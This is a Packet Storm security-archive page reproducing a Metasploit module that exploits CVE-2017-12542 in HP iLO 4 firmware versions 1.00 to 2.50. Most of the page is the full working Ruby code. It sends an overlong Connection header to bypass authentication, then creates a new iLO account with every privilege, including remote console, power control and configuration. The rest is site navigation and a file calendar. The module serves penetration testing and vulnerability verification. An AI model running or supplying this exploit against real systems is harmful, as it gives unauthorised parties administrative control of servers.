what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

HP ILO 4 1.00-2.50 Authentication Bypass Administrator Account Creation

HP ILO 4 1.00-2.50 Authentication Bypass Administrator Account Creation
Posted Aug 31, 2024
Site metasploit.com

This Metasploit module exploits an authentication bypass in HP iLO 4 1.00 to 2.50, triggered by a buffer overflow in the Connection HTTP header handling by the web server. Exploiting this vulnerability gives full access to the REST API, allowing arbitrary accounts creation.

tags | exploit, web, overflow, arbitrary
advisories | CVE-2017-12542
SHA-256 | 307468ecf285c6317f2e172728ad61a604fe9d31aa424fe525723ac69384bc9e

HP ILO 4 1.00-2.50 Authentication Bypass Administrator Account Creation

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'HP iLO 4 1.00-2.50 Authentication Bypass Administrator Account Creation',
'Description' => %q{
This module exploits an authentication bypass in HP iLO 4 1.00 to 2.50, triggered by a buffer
overflow in the Connection HTTP header handling by the web server.
Exploiting this vulnerability gives full access to the REST API, allowing arbitrary
accounts creation.
},
'References' =>
[
[ 'CVE', '2017-12542' ],
[ 'BID', '100467' ],
[ 'URL', 'https://support.hpe.com/hpesc/public/docDisplay?docId=emr_na-hpesbhf03769en_us' ],
[ 'URL', 'https://www.synacktiv.com/en/publications/hp-ilo-talk-at-recon-brx-2018.html' ]
],
'Author' =>
[
'Fabien Perigaud <fabien[dot]perigaud[at]synacktiv[dot]com>'
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2017-08-24',
'DefaultOptions' => { 'SSL' => true }
))

register_options(
[
Opt::RPORT(443),
OptString.new('USERNAME', [true, 'Username for the new account', Rex::Text.rand_text_alphanumeric(8)]),
OptString.new('PASSWORD', [true, 'Password for the new account', Rex::Text.rand_text_alphanumeric(12)])
])
end

def check
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => '/rest/v1/AccountService/Accounts',
'headers' => {
"Connection" => Rex::Text.rand_text_alphanumeric(29)
}
})
rescue
return Exploit::CheckCode::Unknown
end

if res.code == 200 and res.body.include? '"Description":"iLO User Accounts"'
return Exploit::CheckCode::Vulnerable
end

return Exploit::CheckCode::Safe
end

def run
print_status("Trying to create account #{datastore["USERNAME"]}...")

data = {}
data["UserName"] = datastore["USERNAME"]
data["Password"] = datastore["PASSWORD"]
data["Oem"] = {}
data["Oem"]["Hp"] = {}
data["Oem"]["Hp"]["LoginName"] = datastore["USERNAME"]
data["Oem"]["Hp"]["Privileges"] = {}
data["Oem"]["Hp"]["Privileges"]["LoginPriv"] = true
data["Oem"]["Hp"]["Privileges"]["RemoteConsolePriv"] = true
data["Oem"]["Hp"]["Privileges"]["UserConfigPriv"] = true
data["Oem"]["Hp"]["Privileges"]["VirtualMediaPriv"] = true
data["Oem"]["Hp"]["Privileges"]["VirtualPowerAndResetPriv"] = true
data["Oem"]["Hp"]["Privileges"]["iLOConfigPriv"] = true

begin
res = send_request_cgi({
'method' => 'POST',
'uri' => '/rest/v1/AccountService/Accounts',
'ctype' => 'application/json',
'headers' => {
"Connection" => Rex::Text.rand_text_alphanumeric(29)
},
'data' => data.to_json()
})
rescue Rex::ConnectionRefused
end

unless res
fail_with(Failure::Unknown, 'Connection failed')
end

if res.body.include? 'InvalidPasswordLength'
fail_with(Failure::BadConfig, "Password #{datastore["PASSWORD"]} is too short.")
end

if res.body.include? 'UserAlreadyExist'
fail_with(Failure::BadConfig, "Unable to add login #{datastore["USERNAME"]}, user already exists")
end

unless res.code == 201
fail_with(Failure::UnexpectedReply, "Unknown error while creating the user. Response: #{res.code}")
end

print_good("Account #{datastore["USERNAME"]}/#{datastore["PASSWORD"]} created successfully.")
end
end

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close